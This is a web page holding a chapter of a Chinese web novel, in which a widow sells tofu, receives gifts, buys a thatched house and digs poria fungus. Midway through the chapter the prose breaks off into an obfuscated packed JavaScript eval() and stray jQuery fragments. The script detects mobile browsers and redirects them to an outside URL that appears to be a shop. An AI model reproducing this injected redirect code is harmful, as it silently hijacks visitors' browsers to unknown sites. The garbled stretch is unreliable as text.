默认冷灰
24号文字
方正启体

15. 买下草屋

作者:朱碧成本书字数:K更新时间:
    “余娘子不是汀洲人士吧,小妇人略懂医术,刚刚饭席上的养生鸡汤乃是我娘家祖传的食疗方子,您回去后若与孙师爷接连出恭,便是对症之兆,今日厚颜收下这许多礼,无甚回礼,就把这食疗方子送与您,只是我少时家道中落,从中原流落到此,识字不多,方子还需娘子手书。”


    江望舒把方子和自己做的其他东西一起凑了四样,作为回礼。有她前段时间晒来做零嘴的多味笋干,五香豆干,松树菌干,配上食疗方子总算不会太寒酸。


    翡翠豆腐是生意,养生方子是人情,孙师爷一家离开后,江望舒重重地吁了一口气。


    和权贵打交道太累,哪怕对方只是一个钱粮师爷,也需要打起十二分精神,生怕掉入语言陷阱。今日孙师爷一家到来最大的好处除了生意合作,大约就是可以震慑宵小,像陈季之流应该很长一段时间不敢登江望舒家的门。


    江望舒看着他们送来的礼品:两个八样攒盒,六匹自己一家能穿的布料,六刀上好的竹纸。三个孩子还分别有礼物,给陈文的文房四宝,给陈静的荷包、苏绣扇子,陈武的虎头鞋帽、拨浪鼓,还有三个孩子一人一个的银锁。


    每一样礼物都符合他们当下的身份,都是他们家能用的上的并且也不会太扎眼。显然送礼前对他们家进行了一番调查。


    在古代,江望舒时常觉得自己就是个透明人,哪怕心里有一万种赚钱的方式也不敢让人知道,只能天天做豆腐卖豆腐混个温饱。


    医术要给自己编个医学世家遗孤的名头,在孩子面前都要用祖宗入梦的谬论来自圆其说,就怕自己有一天不小心说漏嘴,被当成异端处置了。


    眼前是刚入账还是热乎的一百两银票,孙志齐很细心地全都换成了小额银票,都是十两和五两面值。


    江望舒心里渐渐有了计较。


    回城的马车上,孙志齐静默不语,直到走出陈家村的范围才开口询问:“刚才那江氏单独把你叫走所谓何事?”


    “就是一些女儿家的私房话,她还把今日养生鸡汤的方子赠与我,说是......”大约是难以启齿,余氏没有再往下说,而是红了耳根。


    在丈夫好奇的目光下只能转移话题:“今日那江娘子特意交代,如果食用了她的养生鸡汤方子,出恭频繁乃是对症之状,总之就是对身有好处。”


    “到时候找个可靠的大夫看过这方子再用也不迟。”


    行至清水镇上,余氏果然如江望舒所料,拉肚子了,找到一个茅厕,出完恭整个人身上都轻松许多。


    余氏对江望舒的话更为信服,但是丈夫的小心谨慎也不无道理,找个大夫看看这养生方有无不妥。


    马车继续慢悠悠行驶。


    “这个江氏,可惜了是个女子。”孙志齐淡淡一笑,拨弄腰带上玉佩的流苏。


    “夫君何出此言?”


    孙志齐整了整衣袍,随意地靠在妻子身上:“我出了两道题考她,一是财,二是势。她不贪不骄,不卑不亢。既不贪图分红的长远利益,也不仗着我的势夺回宅子。这样的心性,出自这样的家庭,可惜了。”似乎是对话题失去了兴致,说完这句便不在言语。


    江望舒这边,日子一如既往。


    赚钱的营生一日也不能断,照例又是卖豆腐的一天。


    江望舒拿出一个八样攒盒,里的吃食分成四份。第二天卖豆腐从县城归家,提着篮子到林阿婆家。


    林阿婆一人留在家里忙碌,其他人上山的上山,割仙草的割仙草。


    “阿月来了。”林阿婆放下手里的活计洗手。“怎么还带东西!”嗔怪的语气中却暗含宠溺。


    “这是昨天孙师爷送来的,我想着给您和阿公带点尝尝,待会儿也给村长、里正、陈家族长送一些。今天来我是有事情和阿婆您商量。”


    “你说。”


    “我想把翡翠豆腐的做法交给您,到时候府城会宾楼派人来学的时候,我想在您家里教,接下来一段时间我会很忙。”


    “很忙?你家的地只剩一亩山地,那个青山几个搭把手半天就能种完,还有比卖豆腐更重要的事?”


    “是这样的,阿文渐渐大了,一直赁屋住也不是这么回事。我想把草屋买下来,改建成围屋,这样冬天就不用担心猛兽下山,我出门的时候也不用担心孩子们。”


    “扩建房子是好事,但是豆腐方子你就这样交给我,是否不太妥当?”


    “阿婆,这件事我考虑了很久,虽然这是我娘家的方子,但也是我外祖家的方子,是我娘的陪嫁,我父母兄长俱亡,伯父一家把我卖了,如今他们也生死难料。我不想娘家的方子被埋没。”江望舒似乎是下定决心般和盘托出。


    “再有一事,外祖曾是医者,悉心教导过娘亲,我也学得一些皮毛。当年我们一家从中原逃到这里,全靠我阿娘一手医术,族人们才能一路南下到这里。父亲的族人已经将我卖掉,我也不再对他们有任何念想,如今我外祖家人不知道逃往何方,济世救人是外祖家的祖训,我就想着我虽受我娘教导时间不长,但是炮制药材,制作一些祖传的膏方不在话下,我不想外祖家的名讳就此埋没。”


    似是看出林阿婆的疑惑,江望舒继续解释。


    “之前没做,一是阿风的本事足以养活我们娘几个,二是一路躲避兵祸实在见得多了,就怕了。”


    “既然你已经坦诚相告,那这个事情我们接。”


    “阿婆,既然你们接,那接下来我们就谈谈分成的事情,县城和镇上的两处现在也由你们来制作,就按五五分成,天香阁的货就由满仓叔去送,给两成工钱,你看可行?”说完江望舒用询问的眼神看着林阿婆。


    “我不知道你一个方子卖给汇宾楼是怎么个价格,想必价钱不会低,既然你愿意把这方子教给我们,名声也是你打出的,我们只是捡现成的,就不能占这么大的便宜,散卖的分成我们拿三成,你满仓叔送货就拿一成。”


    看着江望舒不赞同的样子,林阿婆连连摆手,喝了一口水继续。


    “我这么说是有决断的,散卖我们占三成,虽然分成比之前少了,但是你把县里的生意也给我们做了,这里面的账我能算清楚,不能亏都让你吃。你满仓叔送货的那一成收入,相对于打短工来说已经不低了,短工还不能天天有活干。,何况一天送一趟,回来还能干别的事情,就这么定了。”


    林阿婆拍板做决定,江望舒拗不过老人,也就顺从了。


    林阿婆陪着江望舒一起去村长家把房子的事情定下来,三间草屋,附带房子前院后院的菜地,将近一亩地,村长只要了二十两。


    “这林老头,终归是心软了,看你们孤儿寡母不易,拉一把。陈家村碰上他当村长也是大伙的福气。”


    江望舒点头附和,仅有的几次相处来看,村长确实是个公大于私的和善老头。


    房子买下来有许多的事情要办,各种文书以及后续盖房也要准备许多东西。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540067|203914||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    这次江望舒想盖青瓦房,草顶的房子经常要换草还要进行修补,不然一到雨季外面下大雨家里下小雨。她需要去打听木料和瓦片的价格,前期准备工作没做好之前她也不准备坐吃山空。


    半个月菌子季过去,那片山坡的茯苓可以去采收回来,还有漫山遍野的艾草也已经到了可以采收的季节,以往村里人都只是收一些起来晒干夏天驱蚊用,江望舒则想采集起来自己做艾绒、艾草棒,炮制好的药材卖给药铺也能卖出更好的价格。


    这天一大早,江望舒做好朝食,喊孩子们起床。


    难得有一天阿姆不是天没亮就出门卖豆腐,三个孩子高兴坏了,特别是最小的阿武,简直像江望舒身上的挂件一样。


    “虽然今天阿姆不用去县城,但是呢阿姆还是有许多事情要忙,今天阿武就继续跟着姐姐好吗?”


    小小的孩子虽然不像哥哥姐姐那样,知道什么是赚钱,只是他知道自从阿姆早出晚归之后家里就再也没缺过吃喝,家里也能经常吃上肉。


    “阿姆是要去给我们赚钱买肉肉吃吗?”


    “是也不是,阿姆做的事情可不仅仅是让你们吃上肉,阿姆想让你们吃饱穿暖上学堂!”


    “上学堂?”在一旁默不作声的阿文抬头望着自己的母亲,眼里的光芒是江望舒从未见过的。


    “对,就是上学堂。阿姆小时候家道中落,后来跟着你们的外祖一家逃难到这里,没有机会上学,但是阿姆知道书里会教许多道理,有句话叫做‘人从书里乖’,所以阿姆希望你们都可以上学堂。”


    江望舒说这个话的时候,和所有时候都不一样,陈文好像在自己的母亲身上看到了一束光,柔和而耀眼,少时的他不明白自己怎么会把这两种意思完全相反的词语用来形容自己的母亲,直到他自己为人父为人师,才明白。


    “今天家里的事情还是要拜托阿文了,阿姆出门去啦。”


    江望舒背起背篓扛起镢头就往山上走,一路上用一根竹枝打草,眼睛也在不断搜寻附近的草药,常用的草药倒是非常多,就是没见到珍贵的药材。


    珍贵的药材大多长在无人前往的深山,近一点的地方大约也是长不大的,虽然认识药材的人少,不代表没有。


    来到之前发现的山坡,江望舒顿时精神抖擞。


    她沿着倒树的树墩,小心地环剥树皮,一连试了好几棵树,终于在第五棵树的树根底下发现白色的菌丝。


    江望舒用镢头敲击树墩周围的土地,敲中一个鼓包就开始挖。


    许久不做农活,江望舒才挖了一小会就汗流浃背。山上的土质再怎么松软也不比已经开垦好的农田,时不时就有石子出来捣乱,费了九牛二虎之力江望舒终于挖出了一颗完整的茯苓。


    挖到的茯苓表面呈黑褐色,油性十足,光亮油润。


    她小心翼翼地把表面的黑色外皮削去一部分,里面雪白的菌肉就露出来了,居然是上品茯苓!但愿这种品质的药材能卖个好价钱,如果价格被压得太低,宁可自己做成成药再出售。


    原本江大夫以为采药就是手拿把掐的事,结果吭哧吭哧挖了一上午,一颗树墩周围的茯苓都没挖完,带来的三竹筒水倒是喝了个精光。


    实在是太累了,她靠坐在山顶的树墩上,眼睛瞟了眼背阴面山坡下的石头,不确定地揉了揉眼睛。


    为了进一步证明自己的猜测,她慢慢滑行下山坡,瞧瞧她在石头的背阴面看见了什么?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)